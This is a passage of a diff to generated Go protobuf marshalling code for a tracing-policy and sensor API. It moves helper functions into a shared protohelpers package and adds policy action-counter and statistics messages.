m.Arg.(interface{ SizeVT() int }); ok { n += vtmsg.SizeVT() @@ -2081,7 +2530,7 @@ func (m *GetDebugResponse_Level) SizeVT() (n int) { } var l int _ = l - n += 1 + sov(uint64(m.Level)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Level)) return n } func (m *GetDebugResponse_Processes) SizeVT() (n int) { @@ -2092,7 +2541,9 @@ func (m *GetDebugResponse_Processes) SizeVT() (n int) { _ = l if m.Processes != nil { l = m.Processes.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -2103,7 +2554,7 @@ func (m *SetDebugRequest) SizeVT() (n int) { var l int _ = l if m.Flag != 0 { - n += 1 + sov(uint64(m.Flag)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Flag)) } if vtmsg, ok := m.Arg.(interface{ SizeVT() int }); ok { n += vtmsg.SizeVT() @@ -2118,7 +2569,7 @@ func (m *SetDebugRequest_Level) SizeVT() (n int) { } var l int _ = l - n += 1 + sov(uint64(m.Level)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Level)) return n } func (m *SetDebugResponse) SizeVT() (n int) { @@ -2128,7 +2579,7 @@ func (m *SetDebugResponse) SizeVT() (n int) { var l int _ = l if m.Flag != 0 { - n += 1 + sov(uint64(m.Flag)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Flag)) } if vtmsg, ok := m.Arg.(interface{ SizeVT() int }); ok { n += vtmsg.SizeVT() @@ -2143,7 +2594,7 @@ func (m *SetDebugResponse_Level) SizeVT() (n int) { } var l int _ = l - n += 1 + sov(uint64(m.Level)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Level)) return n } func (m *ListSensorsRequest) UnmarshalVT(dAtA []byte) error { @@ -2154,7 +2605,7 @@ func (m *ListSensorsRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2177,12 +2628,12 @@ func (m *ListSensorsRequest) UnmarshalVT(dAtA []byte) error { switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2205,7 +2656,7 @@ func (m *SensorStatus) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2233,7 +2684,7 @@ func (m *SensorStatus) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2247,11 +2698,11 @@ func (m *SensorStatus) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2265,7 +2716,7 @@ func (m *SensorStatus) UnmarshalVT(dAtA []byte) error { var v int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2285,7 +2736,7 @@ func (m *SensorStatus) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2299,11 +2750,11 @@ func (m *SensorStatus) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2312,12 +2763,12 @@ func (m *SensorStatus) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2340,7 +2791,7 @@ func (m *ListSensorsResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2368,7 +2819,7 @@ func (m *ListSensorsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2381,11 +2832,11 @@ func (m *ListSensorsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2397,12 +2848,12 @@ func (m *ListSensorsResponse) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2425,7 +2876,7 @@ func (m *ListTracingPoliciesRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2448,12 +2899,12 @@ func (m *ListTracingPoliciesRequest) UnmarshalVT(dAtA []byte) error { switch fieldNum { default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2468,7 +2919,7 @@ func (m *ListTracingPoliciesRequest) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *TracingPolicyStatus) UnmarshalVT(dAtA []byte) error { +func (m *TracingPolicyActionCounters) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -2476,7 +2927,7 @@ func (m *TracingPolicyStatus) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2491,295 +2942,191 @@ func (m *TracingPolicyStatus) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: TracingPolicyStatus: wiretype end group for non-group") + return fmt.Errorf("proto: TracingPolicyActionCounters: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: TracingPolicyStatus: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: TracingPolicyActionCounters: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Post", wireType) } - m.Id = 0 + m.Post = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - m.Id |= uint64(b&0x7F) << shift + m.Post |= uint64(b&0x7F) << shift if b < 0x80 { break } } case 2: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Signal", wireType) } - var stringLen uint64 + m.Signal = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - stringLen |= uint64(b&0x7F) << shift + m.Signal |= uint64(b&0x7F) << shift if b < 0x80 { break } } - intStringLen := int(stringLen) - if intStringLen < 0 { - return ErrInvalidLength - } - postIndex := iNdEx + intStringLen - if postIndex < 0 { - return ErrInvalidLength - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.Name = string(dAtA[iNdEx:postIndex]) - iNdEx = postIndex case 3: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field MonitorSignal", wireType) } - var stringLen uint64 + m.MonitorSignal = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - stringLen |= uint64(b&0x7F) << shift + m.MonitorSignal |= uint64(b&0x7F) << shift if b < 0x80 { break } } - intStringLen := int(stringLen) - if intStringLen < 0 { - return ErrInvalidLength - } - postIndex := iNdEx + intStringLen - if postIndex < 0 { - return ErrInvalidLength - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.Namespace = string(dAtA[iNdEx:postIndex]) - iNdEx = postIndex case 4: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Info", wireType) + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Override", wireType) } - var stringLen uint64 + m.Override = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - stringLen |= uint64(b&0x7F) << shift + m.Override |= uint64(b&0x7F) << shift if b < 0x80 { break } } - intStringLen := int(stringLen) - if intStringLen < 0 { - return ErrInvalidLength - } - postIndex := iNdEx + intStringLen - if postIndex < 0 { - return ErrInvalidLength - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.Info = string(dAtA[iNdEx:postIndex]) - iNdEx = postIndex case 5: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Sensors", wireType) + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field MonitorOverride", wireType) } - var stringLen uint64 + m.MonitorOverride = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - stringLen |= uint64(b&0x7F) << shift + m.MonitorOverride |= uint64(b&0x7F) << shift if b < 0x80 { break } } - intStringLen := int(stringLen) - if intStringLen < 0 { - return ErrInvalidLength - } - postIndex := iNdEx + intStringLen - if postIndex < 0 { - return ErrInvalidLength - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.Sensors = append(m.Sensors, string(dAtA[iNdEx:postIndex])) - iNdEx = postIndex case 6: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Enabled", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field NotifyEnforcer", wireType) } - var v int + m.NotifyEnforcer = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - v |= int(b&0x7F) << shift + m.NotifyEnforcer |= uint64(b&0x7F) << shift if b < 0x80 { break } } - m.Enabled = bool(v != 0) case 7: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field FilterId", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field MonitorNotifyEnforcer", wireType) } - m.FilterId = 0 + m.MonitorNotifyEnforcer = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - m.FilterId |= uint64(b&0x7F) << shift + m.MonitorNotifyEnforcer |= uint64(b&0x7F) << shift if b < 0x80 { break } } case 8: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) - } - var stringLen uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - stringLen |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - intStringLen := int(stringLen) - if intStringLen < 0 { - return ErrInvalidLength - } - postIndex := iNdEx + intStringLen - if postIndex < 0 { - return ErrInvalidLength - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.Error = string(dAtA[iNdEx:postIndex]) - iNdEx = postIndex - case 9: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field State", wireType) - } - m.State = 0 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflow - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - m.State |= TracingPolicyState(b&0x7F) << shift - if b < 0x80 { - break - } - } - case 10: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field KernelMemoryBytes", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Set", wireType) } - m.KernelMemoryBytes = 0 + m.Set = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - m.KernelMemoryBytes |= uint64(b&0x7F) << shift + m.Set |= uint64(b&0x7F) << shift if b < 0x80 { break } } - case 11: + case 9: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Mode", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field MonitorSet", wireType) } - m.Mode = 0 + m.MonitorSet = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ - m.Mode |= TracingPolicyMode(b&0x7F) << shift + m.MonitorSet |= uint64(b&0x7F) << shift if b < 0x80 { break } } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2794,7 +3141,7 @@ func (m *TracingPolicyStatus) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *ListTracingPoliciesResponse) UnmarshalVT(dAtA []byte) error { +func (m *TracingPolicyStats) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -2802,7 +3149,7 @@ func (m *ListTracingPoliciesResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2817,20 +3164,20 @@ func (m *ListTracingPoliciesResponse) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: ListTracingPoliciesResponse: wiretype end group for non-group") + return fmt.Errorf("proto: TracingPolicyStats: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: ListTracingPoliciesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: TracingPolicyStats: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Policies", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field ActionCounters", wireType) } var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2843,28 +3190,30 @@ func (m *ListTracingPoliciesResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Policies = append(m.Policies, &TracingPolicyStatus{}) - if err := m.Policies[len(m.Policies)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + if m.ActionCounters == nil { + m.ActionCounters = &TracingPolicyActionCounters{} + } + if err := m.ActionCounters.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { return err } iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2879,7 +3228,7 @@ func (m *ListTracingPoliciesResponse) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *AddTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { +func (m *TracingPolicyStatus) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -2887,7 +3236,7 @@ func (m *AddTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2902,20 +3251,39 @@ func (m *AddTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: AddTracingPolicyRequest: wiretype end group for non-group") + return fmt.Errorf("proto: TracingPolicyStatus: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: AddTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: TracingPolicyStatus: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) + } + m.Id = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Id |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 2: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Yaml", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2929,31 +3297,625 @@ func (m *AddTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } - m.Yaml = string(dAtA[iNdEx:postIndex]) + m.Name = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex - default: - iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) - if err != nil { - return err + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) } - if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } } - if (iNdEx + skippy) > l { + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { return io.ErrUnexpectedEOF } - m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) - iNdEx += skippy + m.Namespace = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Info", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Info = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sensors", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Sensors = append(m.Sensors, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enabled", wireType) + } + var v int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.Enabled = bool(v != 0) + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field FilterId", wireType) + } + m.FilterId = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.FilterId |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Error = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 9: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field State", wireType) + } + m.State = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.State |= TracingPolicyState(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field KernelMemoryBytes", wireType) + } + m.KernelMemoryBytes = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.KernelMemoryBytes |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 11: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Mode", wireType) + } + m.Mode = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Mode |= TracingPolicyMode(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stats", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Stats == nil { + m.Stats = &TracingPolicyStats{} + } + if err := m.Stats.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ListTracingPoliciesResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ListTracingPoliciesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ListTracingPoliciesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Policies", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Policies = append(m.Policies, &TracingPolicyStatus{}) + if err := m.Policies[len(m.Policies)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *AddTracingPolicyRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: AddTracingPolicyRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: AddTracingPolicyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Yaml", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return 